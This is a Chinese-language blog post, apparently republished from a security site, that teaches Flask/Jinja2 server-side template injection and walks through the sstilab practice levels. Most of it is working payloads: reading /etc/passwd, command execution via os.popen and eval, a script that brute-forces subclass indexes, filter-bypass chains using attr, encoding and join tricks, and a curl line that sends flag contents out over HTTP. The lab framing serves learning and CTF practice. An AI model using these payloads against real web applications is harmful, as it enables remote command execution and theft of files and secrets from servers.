flask的SSTI注入
2023-2-17 18:42:0 Author: xz.aliyun.com(查看原文) 阅读量:35 收藏

写过很多的SSTI的题,但是一直没有总结过,最近也算是忙,这次,是稍微写写关于SSTI的东西,以后复习了可以好看看,也不至于每次都拿别人的payload

关于flask的SSTI注入,我们在了解他的注入原理之前,我们先看看flask框架是怎么使用的。

flask基础

route装饰器路由

@app.route('/')

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

例如

from flask import flask 
app = Flask(__name__)
@app.route('/')
def test()"
   return 123
@app.route('/index/')
def hello_word():
    return 'hello word'
if __name__ == '__main__':
    app.run(port=5000)

访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

在用@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错

还可设置动态网址

@app.route("/<username>")
def hello_user(username):
  return "user:%s"%username

模板渲染方法

flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

这个时候我们就需要了解一下flask的目录结构了

├── app.py  
├── static  
│   └── style.css  
└── templates  
    └── index.html

其中,static和templates都是需要自己新建的。其中templates目录里的index.html就是所谓的模板

我们写一个index.html

<html>
  <head>
    <title>{{title}}</title>
  </head>
 <body>
      <h1>Hello, {{name}}!</h1>
  </body>
</html>

这里面需要我们传入两个值,一个是title另一个是name。
我们在server.py里面进行渲染传值

from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')   
def index():
   return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':
    app.run(port=5000)

在这里,我们手动传值的,所以是安全的

但是如果,我们传值的机会给用户

假如我们渲染的是一句话

from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
    id = request.args.get('id')
    html = '''
    <h1>%s</h1>
    '''%(id)
    return render_template_string(html)
if __name__ == '__main__':
    app.run(port=5000)

如果我们传入一个xss就会达到我们需要的效果

这就是传入的值被html直接运行回显,我们对代码进行微改。

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

再次传入xss就不能实现了

因为在传入相应的值得时候,会对值进行转义,这样就很能好多而避免了xss这些

所以SSTI注入形成的原因就是:开发人员因为懒惰,没有将渲染模板写成一个文件,而是直接用render_template_string来渲染,当然,如果有传值过程还行,但是如果没有传值过程,传入数据不经过转义,那可能就会导致SSTI注入。
那么漏洞原理就是因为不够严谨的构造代码导致的。

在写题前,先了解python的一些ssti的魔术方法。
__class__

用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型,返回<type ‘type’> ; 也是类的实例的属性,表示实例对象的类。

__bases__

用来查看类的基类也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!!
使用语法:类名.bases

__mro__也能获取基类

__subclasses__()
获取当前类的所有子类,即Object的子类

而我们注入就是通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
__init__
重载子类,获取子类初始化的属性。
__globals__
函数会以字典的形式返回当前位置的全部全局变量
就比如:os._wrap_close.__init__.__globals__,可以获取到os中的一些函数,进行文件读取。

文件读取

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
// os.popen() 方法用于从一个命令打开一个管道。返回一个文件描述符号为fd的打开的文件对象。
利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

os
.__init__.__globals__['popen']('type flag').read()
当然,这些子类都不是那么容易找到的,这里贴一个脚本
上文的59就是子类WarningMessage的用它替换下面的_wrap_close即可

for i in range(300):
    data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
    try:
        response = requests.post(url,data=data)
        #print(data)
        #print(response.text)
        if response.status_code == 200:
            if "_wrap_close" in response.text:
                print(i,"----->",response.text)
                break
    except :
        pass

还有jinjia语法下的小脚本。

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}{% endif %}{% endfor %}

//查看flag

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
{% endif %}{% endfor %}

关于Flask SSTI 的实战题,其实有很多,但是大多都比较碎,知识点都不怎么集中,虽然可以学习到一些知识,但是并非系统的学习。但是我在一次偶然,发现了sstilab的靶场,是比较系统的可以学习到关于如何绕过过滤的一些知识。并且,新手小白,一般拿到题,都会有些迷茫,这里则会提供多种不同的解决思路。
下面放入每一关过滤的东西,以后要是写题遇到类似的,可以直接对比关卡,拿payload

level 1

法一

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}

法二
师傅直接手搓脚本

import requests

url = "http://127.0.0.1:5000/level/1"

for i in range(300):
    data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
    try:
        response = requests.post(url,data=data)
        #print(data)
        #print(response.text)
        if response.status_code == 200:
            if "_wrap_close" in response.text:
                print(i,"----->",response.text)
                break
    except :
        pass

找到我们使用的需要的子类,构造payload
"".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()

level 2

过滤了{{}},可以使用{%%}代替,
但是{%%},没有输出,所以需要我们print
{%print("".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read())%}
法二
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{%print( c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()"))%}{% endif %}{% endfor %}

脚本微改:
data = {"code": '{%print("".__class__.__base__.__subclasses__()['+ str(i) +'])%}'}

level 3

无过滤,但是有回显
语句正确回显correct,语句不正确回显wrong

import requests

url = "http://192.168.0.108:5001/level/3"

for i in range(300):
    try:
        data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://127.0.0.1:5001/`cat flag`").read()}}'}
        response = requests.post(url,data=data)
    except :
        pass

windows环境反引号没有用,所以本地抓取不到信息

level 4

过滤了中括号

getitem() 是python的一个魔法方法,当对列表使用时,传入整数返回列表对应索引的值;对字典使用时,传入字符串,返回字典相应键所对应的值.

{{"".__class__.__base__.__subclasses__()[139].__init__.__globals__.__getitem__('popen')('type flag').read()}}

level 5

过滤了了引号和双引号
request.args

在搭建flask时,大多数程序内部都会使用 flask的request来解析get请求.此出我们就可以通过构造带参数的url,配合 request.args 获取构造参数的内容来绕过限制

POST:
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}
GET:
a=popen&b=type flag

level 6

过滤了_
用过滤器绕过| attr()
关于过滤器;

  1. 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
  2. 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.

经常使用的的过滤器:

length() # 获取一个序列或者字典的长度并将其返回

int():# 将值转换为int类型;

float():# 将值转换为float类型;

lower():# 将字符串转换为小写;

upper():# 将字符串转换为大写;

reverse():# 反转字符串;

replace(value,old,new): # 将value中的old替换为new

list():# 将变量转换为列表类型;

string():# 将变量转换成字符串类型;

join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): # 获取对象的属性

_的十六进制编码为\x5f

所以__class__可以写成\x5f\x5fclass\x5f\x5f

因为我们需要用十六进制编码_,而编码过后的_不能和.直接相连,这个时候就需要过滤器和_连接了,所以foo|attr("bar")=foo.bar
十六进制编码和Unicode编码都可以,以及base64编码和rot13等编码去绕过。
payload:

().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
# 编码后
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('type flag')|attr("read")()}}
# base64  未绕过成功
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('dHlwZSBmbGFn'.decode('base64'))|attr("read")()}}
这里面展示一个unioncode编码 未绕过成功
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(139)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("dir")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(139)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("dir")|attr("read")()}}

level 7

过滤了.,可以使用[]绕过。

python语法除了可以使用点 .来访问对象属性外,还可以使用中括号[].同样也可以使用**getitem** ``{{()['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('cat flag')['read']()}}

level 8

过滤了关键字

关键字过滤,最简单的办法就是字符串拼接,比如'class'可以写成'cla''ss'

其他方法

1编码
2在jinjia2语法中~可以进行连接,比如:{%set a="__cla"%}{%set aa="ss__%}{{a~aa}}
3使用join过滤器.例如使用{%set a=dict(__cla=a,ss__=a)|join%}{{a}}会将__cla和ss__拼接在一起,或者{%set a=['__cla','ss__']|join%}{{a}}
4使用reverse过滤器.如{%set a="__ssalc__"|reverse%}{{a}}
5使用replace过滤器.如{%set a="__claee__"|replace("ee","ss")%}{{a}}
6使用python中的char()

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}

level 9

过滤数字

__subclasses__()[139],我们要塑造139这个数字
使用过滤器|length,来塑造。
{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{a}}
// 12*11+7=139

{% set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{"".__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('type flag').read()}}

level 10

过滤了全局变量
没有了全局变量
{{config}}/{{self}}
均被ban掉,所以得重新寻找一个储存相关信息的变量
发现存在这么一个变量current_app是我们需要的,官网对current_app提供了这么一句说明

应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置。

payload:
{{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}}
拿到{{config}}

level 11

过滤了'\'', '"', '+', 'request', '.', '[', ']'
过滤的[]可以通过__getitem__绕过,.可以通过attr绕过,' "可以通过request构造参数代替,但是request被ban了
所以关键就是如何构造' "

在Level 9 bypass keyword 的扩展中,使用过滤器dict()|join构造关键子的过程中没有出现' ",可以使用这种办法绕过.

{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}

但是,这里的弊端就是构造命令 cat flag的时候,空格无法识别,所以要如何绕过空格呢?
师傅的思路是这样的:

通过以下构造可以得到字符串,举个例,可以发现输出的字符串中存在空格、部分数字、<以及部分字母.利用过滤器list将其变为列表类型再配合使用索引,就能得到我们想要的.

{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

本地演示一下

当使用urlencode的时候还会出现%,当其被过滤的时候可以使用。
构造payload

原型payload:
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()

构造:
{%set a=dict(__cla=a,ss__=b)|join %}# __class__
{%set b=dict(__bas=a,e__=b)|join %}# __base__
{%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__
{%set d=dict(__ge=a,titem__=a)|join%}# __getitem__
{%set e=dict(__in=a,it__=b)|join %}# __init__
{%set f=dict(__glo=a,bals__=b)|join %}# __globals__
{%set g=dict(pop=a,en=b)|join %}# popen
{%set h=self|string|attr(d)(18)%}# 空格
{%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag
{%set j=dict(read=a)|join%}# read
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接

level 12

和上一关的区别就是,没有过滤request,但是过滤了数字。可以通过request.args传参绕过。

不过request|attr("args")|attr("a")并不能获取到通过get传递过来的a参数,所以这里得跟换为request.args.get()来获取get参数

但是一个个构造太长了
所以从羽师傅那里找到一条简短的构造链
{{x.__init__.__globals__['__builtins__']}}

构造payload

get:
?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read()
post:
{%set a={}|select|string|list%}
{%set b=dict(pop=a)|join%}
{%set c=a|attr(b)(self|string|length)%}  
{%set d=(c,c,dict(getitem=a)|join,c,c)|join%} 
{%set e=dict(args=a)|join%}   
{%set f=dict(get=a)|join%}    
{%set g=dict(z=a)|join%}        
{%set gg=dict(zz=a)|join%}
{%set ggg=dict(zzz=a)|join%}
{%set gggg=dict(zzzz=a)|join%}
{%set ggggg=dict(zzzzz=a)|join%}
{{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}

level 13

比上面过滤的更多关键字,但是我们依然可以使用上一关的思路
payload

{%set a={}|select|string|list%}
{%set ax={}|select|string|list%}
{%set aa=dict(ssss=a)|join%}
{%set aaa=dict(ssssss=a)|join%}
{%set aaaa=dict(ss=a)|join%}
{%set aaaaa=dict(sssss=a)|join%}
{%set b=dict(pop=a)|join%}   # pop
{%set c=a|attr(b)(aa|length*aaa|length)%}  # _
{%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格
{%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%}  # __getitem__
{%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%}   # __init__
{%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%}   # __globals__
{%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%}   # __builtins__
{%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%}   # __import__
{%set ee=(dict(o=a,s=a)|join)|join%}   # os
{%set eee=(dict(po=a,pen=a)|join)|join%}  # popen
{%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%}  # type flag
{%set f=(dict(rea=a,d=a)|join)|join%}  # read
{{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}

这次总算是把flask框架的SSTI注入给弄的差不多了,以后遇见了也不会手忙脚乱了。继续加油吧!!!

https://xz.aliyun.com/t/10394#toc-7
https://www.yuque.com/docs/share/d300c853-152b-4d65-9161-a5645f1dd77c?#Level-1
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3
https://blog.csdn.net/qq_45521281/article/details/106243544
https://blog.csdn.net/qq_45521281/article/details/106252560
http://www.javashuo.com/article/p-psmjcwyp-dg.html
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3


文章来源: https://xz.aliyun.com/t/12181
如有侵权请联系:admin#unsafe.sh